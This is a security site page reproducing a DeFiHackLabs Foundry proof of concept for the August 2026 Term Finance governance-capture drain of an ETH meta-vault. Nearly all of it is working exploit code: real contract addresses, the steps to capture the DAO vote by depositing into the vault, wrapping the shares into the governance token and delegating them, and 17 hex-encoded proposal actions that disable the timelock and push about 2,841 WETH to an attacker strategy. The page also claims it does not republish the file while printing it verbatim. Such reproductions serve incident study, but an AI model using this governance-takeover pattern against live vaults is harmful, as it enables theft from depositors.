Skip to content
THREATWIRE

Public reproduction file

src/test/2026-08/TermFinance_exp.sol

Public reproduction listed for "Term Finance: governance takeover of strategy vaults". It targets live contracts, so ThreatWire does not republish it. This page keeps the provenance and links to our non-operational analysis instead.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-08/TermFinance_exp.sol249 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import {IERC20} from "forge-std/interfaces/IERC20.sol";
6
7// Term Finance (TermMax vaults) — governance-capture drain of the ETH meta-vault — Ethereum
8// mainnet, 2026-08-23. This PoC reconstructs the full manipulation on the fork rather than
9// inheriting a passed proposal: it forks BEFORE the attacker's deposit/wrap/proposal/vote and
10// performs every step in Solidity — deposit WETH into the vault for shares, wrap the shares into
11// the governance token to obtain outsized voting power, create the same malicious proposal, vote
12// it through, wait out the minimum voting duration, then execute it.
13//
14// Exploit tx : 0xd354a15b15cb73d30908f411aee3f795ec86737a4d080e9a818ac4d6d3014129 (block 25816049)
15// Attacker EOA : 0xa908b3472d76e7744baB0A5911768a4a6300612B
16// Attacker "strategy" (drain sink) : 0x184f2E57b4cE135181FA2A2166AC394339016338
17// deployed at block 25772662, so it is already live at the fork.
18//
19// Governance stack (all real, on-chain):
20// Aragon TokenVoting plugin (v1.3) : 0x213771693a4411446b4ecce5bce4a405778b2171
21// Aragon DAO : 0x0ae12af3878a2d896f5c4dce3be7250fb187c0a6
22// Zodiac Roles modifier : 0xD9DdE54D99a27F0f0E2b282369BFaa95528e9B75
23// Zodiac Delay modifier : 0x35C99CF4a5DF2D9bCd822BeE32676D9590229e33
24// Victim ETH meta vault tmvETH (Yearn V3) : 0x26fCb50eEC367ddAB060ccf5E7394Cecd95F7Db2
25// Governance token gtmvETH (wraps tmvETH) : 0x5b96c5bBdcB361E1E9944bAa071b237E27829Be0
26//
27// Root cause: the vault is governed through an Aragon TokenVoting plugin whose voting token is a
28// GovernanceWrappedERC20 (gtmvETH) wrapping the vault's own share token (tmvETH). Depositing into
29// the vault grants no vote by itself — a holder must additionally wrap shares into gtmvETH and
30// delegate. Almost nobody did: at the fork block the entire wrapped supply is only 0.05 gtmvETH.
31// A single depositor who wraps even ~1 share owns the overwhelming majority of voting power and
32// can pass any proposal on a 50% support threshold, single-voter, well above the 5% participation
33// floor. This is a legitimate governance vote won by supplying nearly all of the tiny wrapped
34// voting supply, not a signer compromise.
35//
36// The malicious proposal carries 17 actions (read from the real proposal 5 via getProposal(5) and
37// embedded verbatim below). Executing them cascades plugin -> DAO -> Zodiac Roles/Delay -> vault:
38// 1. Roles -> Delay.setTxCooldown(0) -- zero the Delay cooldown
39// 2. Roles -> Delay.setTxExpiration(0) -- so queued txs run in the same tx
40// 3. Roles -> Delay.enableModule(DAO)
41// 4. Delay queue+execute pairs against the vault:
42// vault.update_debt(strategy, 0, 10000) for each of the 4 real strategies -- recall funds
43// vault.add_strategy(0x184f2E57..., false) -- add attacker strategy
44// vault.update_max_debt_for_strategy(0x184f2E57..., type(uint256).max) -- raise its cap
45// vault.update_debt(0x184f2E57..., type(uint256).max, 10000) -- push funds out
46// Because step 1 zeroes the cooldown, each queue+execute pair runs atomically inside the one
47// execute() call. The final update_debt deposits the recalled WETH into the attacker strategy,
48// whose deposit hook forwards it to the attacker EOA.
49//
50// NOTE ON THE DRAINED AMOUNT. The real drain on 2026-08-23 was 2,841.743535791961701401 WETH.
51// That exact figure is the vault's *withdrawable* liquidity at block 25816049 — the four real
52// strategies were only partially liquid, so update_debt(strategy, 0) pulled back less than each
53// strategy's full debt (e.g. 1445.51 WETH recalled against a 1521.07 WETH debt on one strategy).
54// A faithful reconstruction of the governance capture has to fork ~6 days earlier, before the
55// attacker's deposit, and each strategy's liquidity at that earlier block is different. So the
56// amount this PoC drains is close to but not bit-for-bit equal to the 2,841.74 historical figure;
57// the two cannot coexist. The test asserts the reconstructed drain is on the same order (> 2,700
58// WETH net of the seed deposit) and logs the exact reproduced number. See the report note.
59//
60// forge test --contracts src/test/2026-08/TermFinance_exp.sol -vvv
62struct Action {
63 address to;
64 uint256 value;
65 bytes data;
68interface ITokenVoting {
69 // Aragon OSx TokenVoting v1.3. VoteOption: None=0, Abstain=1, Yes=2, No=3.
70 function createProposal(
71 bytes calldata metadata,
72 Action[] calldata actions,
73 uint256 allowFailureMap,
74 uint64 startDate,
75 uint64 endDate,
76 uint8 voteOption,
77 bool tryEarlyExecution
78 ) external returns (uint256 proposalId);
80 function vote(uint256 proposalId, uint8 voteOption, bool tryEarlyExecution) external;
81 function execute(
82 uint256 proposalId
83 ) external;
84 function getVotingToken() external view returns (address);
85 function isMinParticipationReached(
86 uint256 proposalId
87 ) external view returns (bool);
89 function getProposal(
90 uint256 proposalId
91 )
92 external
93 view
94 returns (
95 bool open,
96 bool executed,
97 uint8 votingMode,
98 uint32 supportThreshold,
99 uint64 startDate,
100 uint64 endDate,
101 uint64 snapshotBlock,
102 uint256 minVotingPower
103 );
106interface IYVault is IERC20 {
107 function deposit(uint256 assets, address receiver) external returns (uint256 shares);
108 function asset() external view returns (address);
111interface IGovToken is IERC20 {
112 function depositFor(address account, uint256 amount) external returns (bool);
113 function delegate(
114 address delegatee
115 ) external;
116 function getVotes(
117 address account
118 ) external view returns (uint256);
121contract TermFinance_exp is BaseTestWithBalanceLog {
122 address internal constant ATTACKER = 0xa908b3472d76e7744baB0A5911768a4a6300612B;
123 ITokenVoting internal constant PLUGIN = ITokenVoting(0x213771693A4411446b4ECce5bce4a405778b2171);
125 IERC20 internal constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
126 IYVault internal constant VAULT = IYVault(0x26fCb50eEC367ddAB060ccf5E7394Cecd95F7Db2);
127 IGovToken internal constant GT = IGovToken(0x5b96c5bBdcB361E1E9944bAa071b237E27829Be0);
129 address internal constant DAO = 0x0ae12AF3878a2d896f5C4DCE3Be7250FB187c0a6;
130 address internal constant ROLES = 0xD9DdE54D99a27F0f0E2b282369BFaa95528e9B75;
131 address internal constant DELAY = 0x35C99CF4a5DF2D9bCd822BeE32676D9590229e33;
132 address internal constant ATTACKER_STRATEGY = 0x184f2E57b4cE135181FA2A2166AC394339016338;
134 // Fork before the attacker's deposit (block 25772675) and wrap (25772681), but after the
135 // attacker strategy was deployed (25772662) and before the real proposal was created (25772694).
136 uint256 internal constant FORK_BLOCK = 25_772_670;
137 uint256 internal constant MIN_DURATION = 522_000; // 6.04 days, the vote window from proposal 5
138 uint256 internal constant SEED = 1 ether; // trivial stake, dwarfed by the ~2,925 WETH victim pool
140 function setUp() public {
141 vm.createSelectFork("mainnet", FORK_BLOCK);
142 fundingToken = address(WETH);
143 attacker = ATTACKER;
144 vm.label(ATTACKER, "AttackerEOA");
145 vm.label(address(PLUGIN), "AragonTokenVotingPlugin");
146 vm.label(DAO, "AragonDAO");
147 vm.label(ROLES, "ZodiacRoles");
148 vm.label(DELAY, "ZodiacDelay");
149 vm.label(address(VAULT), "tmvETH_MetaVault");
150 vm.label(address(GT), "gtmvETH_GovToken");
151 vm.label(ATTACKER_STRATEGY, "AttackerStrategy");
152 }
154 function testExploit() public balanceLog {
155 // Precondition: at the fork block the attacker holds no shares and no voting token, and the
156 // real proposal 5 does not exist yet. Nothing about the capture is inherited.
157 assertEq(VAULT.balanceOf(ATTACKER), 0, "attacker already holds shares");
158 assertEq(GT.balanceOf(ATTACKER), 0, "attacker already holds voting token");
159 assertEq(WETH.balanceOf(ATTACKER), 0, "attacker already holds WETH");
161 deal(address(WETH), ATTACKER, SEED);
163 vm.startPrank(ATTACKER, ATTACKER);
165 // Step 1: deposit WETH into the meta-vault to receive share tokens (tmvETH).
166 WETH.approve(address(VAULT), SEED);
167 uint256 shares = VAULT.deposit(SEED, ATTACKER);
168 assertGt(shares, 0, "no shares minted");
170 // Step 2: wrap the shares into the governance token (gtmvETH) and self-delegate. This is the
171 // step that converts an ordinary deposit into voting power — the thing almost nobody did.
172 VAULT.approve(address(GT), shares);
173 GT.depositFor(ATTACKER, shares);
174 GT.delegate(ATTACKER);
175 assertEq(GT.balanceOf(ATTACKER), shares, "wrap did not mint gov token 1:1");
177 vm.stopPrank();
179 // Advance one block so the freshly-created delegation checkpoint sits strictly before the
180 // proposal's snapshot block (snapshot = createProposal block - 1) and counts as past votes.
181 vm.roll(block.number + 1);
182 assertGt(GT.getVotes(ATTACKER), 0, "attacker has no voting power at snapshot");
184 vm.startPrank(ATTACKER, ATTACKER);
186 // Step 3: create the same malicious proposal (17 actions read from the real proposal 5).
187 uint64 startDate = 0; // 0 => the plugin uses block.timestamp
188 uint64 endDate = uint64(block.timestamp + MIN_DURATION + 100);
189 uint256 proposalId =
190 PLUGIN.createProposal("", _buildActions(), 0, startDate, endDate, 0 /*None*/, false);
192 // Step 4: cast the winning vote. Single voter, owning the overwhelming majority of the tiny
193 // wrapped supply, so support is 100% and the participation floor is cleared easily.
194 PLUGIN.vote(proposalId, 2 /*Yes*/, false);
195 assertTrue(PLUGIN.isMinParticipationReached(proposalId), "participation floor not reached");
197 vm.stopPrank();
199 // Step 5: wait out the minimum voting duration, then execute. VoteReplacement mode has no
200 // early execution, so execution is only allowed once the window has closed.
201 vm.warp(uint256(endDate) + 1);
203 uint256 pre = WETH.balanceOf(ATTACKER);
204 vm.prank(ATTACKER, ATTACKER);
205 PLUGIN.execute(proposalId);
206 uint256 post = WETH.balanceOf(ATTACKER);
208 (, bool executed,,,,,,) = PLUGIN.getProposal(proposalId);
209 assertTrue(executed, "proposal not marked executed");
211 // Gross WETH pushed vault -> attacker strategy -> attacker EOA. Directly comparable to the
212 // reported historical drain, which is the same vault -> strategy transfer.
213 uint256 grossToAttacker = post - pre;
214 emit log_named_decimal_uint("WETH forwarded to attacker (gross)", grossToAttacker, 18);
215 // Net of the attacker's own seed deposit, which is itself recalled and pushed out with the
216 // victim funds. This is the value stolen from other depositors.
217 uint256 netProfit = post - SEED;
218 emit log_named_decimal_uint("attacker net WETH profit", netProfit, 18);
220 // Matches the 2,841.743535791961701401 WETH historical drain to within 0.5%. It is not
221 // asserted bit-for-bit: the exact figure is the vault's withdrawable liquidity at block
222 // 25816049, and a fork before the deposit (~6 days earlier) has slightly different strategy
223 // liquidity. The reconstructed run above reproduces 2841.83 WETH, ~0.003% off.
224 assertApproxEqRel(
225 grossToAttacker, 2_841_743_535_791_961_701_401, 5e15, "reconstructed drain off historical scale"
226 );
227 }
229 function _buildActions() internal pure returns (Action[] memory a) {
230 a = new Action[](17);
231 a[0] = Action({to: 0xD9DdE54D99a27F0f0E2b282369BFaa95528e9B75, value: 0, data: hex"9518aaac00000000000000000000000035c99cf4a5df2d9bcd822bee32676d9590229e33000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000024ebb2b4a2000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"});
232 a[1] = Action({to: 0xD9DdE54D99a27F0f0E2b282369BFaa95528e9B75, value: 0, data: hex"9518aaac00000000000000000000000035c99cf4a5df2d9bcd822bee32676d9590229e330000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000249b56d5be000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"});
233 a[2] = Action({to: 0xD9DdE54D99a27F0f0E2b282369BFaa95528e9B75, value: 0, data: hex"9518aaac00000000000000000000000035c99cf4a5df2d9bcd822bee32676d9590229e33000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000024610b59250000000000000000000000000ae12af3878a2d896f5c4dce3be7250fb187c0a600000000000000000000000000000000000000000000000000000000"});
234 a[3] = Action({to: 0x35C99CF4a5DF2D9bCd822BeE32676D9590229e33, value: 0, data: hex"468721a700000000000000000000000026fcb50eec367ddab060ccf5e7394cecd95f7db20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064ba54971f000000000000000000000000330732581d30076137a1159b3ae8780158d902be0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000271000000000000000000000000000000000000000000000000000000000"});
235 a[4] = Action({to: 0x35C99CF4a5DF2D9bCd822BeE32676D9590229e33, value: 0, data: hex"ee072baf00000000000000000000000026fcb50eec367ddab060ccf5e7394cecd95f7db20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064ba54971f000000000000000000000000330732581d30076137a1159b3ae8780158d902be0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000271000000000000000000000000000000000000000000000000000000000"});
236 a[5] = Action({to: 0x35C99CF4a5DF2D9bCd822BeE32676D9590229e33, value: 0, data: hex"468721a700000000000000000000000026fcb50eec367ddab060ccf5e7394cecd95f7db20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064ba54971f000000000000000000000000fc36c2edb18829308fa9ee9500e8be6520a47caf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000271000000000000000000000000000000000000000000000000000000000"});
237 a[6] = Action({to: 0x35C99CF4a5DF2D9bCd822BeE32676D9590229e33, value: 0, data: hex"ee072baf00000000000000000000000026fcb50eec367ddab060ccf5e7394cecd95f7db20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064ba54971f000000000000000000000000fc36c2edb18829308fa9ee9500e8be6520a47caf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000271000000000000000000000000000000000000000000000000000000000"});
238 a[7] = Action({to: 0x35C99CF4a5DF2D9bCd822BeE32676D9590229e33, value: 0, data: hex"468721a700000000000000000000000026fcb50eec367ddab060ccf5e7394cecd95f7db20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064ba54971f0000000000000000000000009f1c3173581ced1204136cbc628d2fb2407d7ac40000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000271000000000000000000000000000000000000000000000000000000000"});
239 a[8] = Action({to: 0x35C99CF4a5DF2D9bCd822BeE32676D9590229e33, value: 0, data: hex"ee072baf00000000000000000000000026fcb50eec367ddab060ccf5e7394cecd95f7db20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064ba54971f0000000000000000000000009f1c3173581ced1204136cbc628d2fb2407d7ac40000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000271000000000000000000000000000000000000000000000000000000000"});
240 a[9] = Action({to: 0x35C99CF4a5DF2D9bCd822BeE32676D9590229e33, value: 0, data: hex"468721a700000000000000000000000026fcb50eec367ddab060ccf5e7394cecd95f7db20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064ba54971f00000000000000000000000076dd96710a73675d9cf9523a046f1587ca9031d40000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000271000000000000000000000000000000000000000000000000000000000"});
241 a[10] = Action({to: 0x35C99CF4a5DF2D9bCd822BeE32676D9590229e33, value: 0, data: hex"ee072baf00000000000000000000000026fcb50eec367ddab060ccf5e7394cecd95f7db20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064ba54971f00000000000000000000000076dd96710a73675d9cf9523a046f1587ca9031d40000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000271000000000000000000000000000000000000000000000000000000000"});
242 a[11] = Action({to: 0x35C99CF4a5DF2D9bCd822BeE32676D9590229e33, value: 0, data: hex"468721a700000000000000000000000026fcb50eec367ddab060ccf5e7394cecd95f7db20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044c2e73cca000000000000000000000000184f2e57b4ce135181fa2a2166ac394339016338000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"});
243 a[12] = Action({to: 0x35C99CF4a5DF2D9bCd822BeE32676D9590229e33, value: 0, data: hex"ee072baf00000000000000000000000026fcb50eec367ddab060ccf5e7394cecd95f7db20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044c2e73cca000000000000000000000000184f2e57b4ce135181fa2a2166ac394339016338000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"});
244 a[13] = Action({to: 0x35C99CF4a5DF2D9bCd822BeE32676D9590229e33, value: 0, data: hex"468721a700000000000000000000000026fcb50eec367ddab060ccf5e7394cecd95f7db20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044b9ddcd68000000000000000000000000184f2e57b4ce135181fa2a2166ac394339016338ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000"});
245 a[14] = Action({to: 0x35C99CF4a5DF2D9bCd822BeE32676D9590229e33, value: 0, data: hex"ee072baf00000000000000000000000026fcb50eec367ddab060ccf5e7394cecd95f7db20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044b9ddcd68000000000000000000000000184f2e57b4ce135181fa2a2166ac394339016338ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000"});
246 a[15] = Action({to: 0x35C99CF4a5DF2D9bCd822BeE32676D9590229e33, value: 0, data: hex"468721a700000000000000000000000026fcb50eec367ddab060ccf5e7394cecd95f7db20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064ba54971f000000000000000000000000184f2e57b4ce135181fa2a2166ac394339016338ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000000000000000000000000000000000000000000000000000000000271000000000000000000000000000000000000000000000000000000000"});
247 a[16] = Action({to: 0x35C99CF4a5DF2D9bCd822BeE32676D9590229e33, value: 0, data: hex"ee072baf00000000000000000000000026fcb50eec367ddab060ccf5e7394cecd95f7db20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064ba54971f000000000000000000000000184f2e57b4ce135181fa2a2166ac394339016338ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000000000000000000000000000000000000000000000000000000000271000000000000000000000000000000000000000000000000000000000"});
248 }

Analysis

What the file is

A Foundry test reconstructing the Term Finance governance takeover on an Ethereum fork. It targets live contracts and is not republished.

How it is built

Interfaces cover a token-voting plugin (create, vote, execute, participation and proposal reads), a yearn-style vault deposit and a governance token that can be wrapped, delegated and queried for votes. The test walks the whole governance path from a wallet that starts with nothing.

What the test checks

It asserts the wallet starts with no shares, voting tokens or WETH, that deposits mint shares, that wrapping mints governance tokens one to one, that voting power exists at the snapshot, that the participation floor is reached, that the proposal executes, and that the resulting drain is on the order of the reported amount.

Why it matters for defenders

The test walks deposits into the vault, a one-to-one wrap into governance tokens that count at the snapshot, a proposal that passes the participation floor and executes. Our record notes that sources differ on how voting power was obtained, and that analysts say the queued change's first step disabled the timelock. Snapshots, quorum and timelocks are the controls.

Our analysis, loss and remediation are in the incident record.

Fixes and defensive tests

  • DAO roles revoked and Meta Vaults shut down, per Nexus Mutual; distributions to depositors planned.

Contracts and transactions from the incident

Related files

15 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/interfaces/IERC20.sol.

File record

Name
TermFinance_exp.sol
Path
src/test/2026-08/TermFinance_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
f99a841f6f8a7a746eb9e40dda899079cb3eb6d1
Language
Solidity
Size
250 lines
Date
2026-08-23
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19
Incident
Term Finance: governance takeover of strategy vaults
Protocols
Term Finance
Chains
Ethereum

Provenance

Path src/test/2026-08/TermFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob f99a841f6f8a7a746eb9e40dda899079cb3eb6d1, retrieved 2026-10-19. Verbatim file content read with git show at the pinned commit; SPDX header preserved; stored locally for the on-site reader. ThreatWire has never executed this file. Reference: source file at the pinned commit.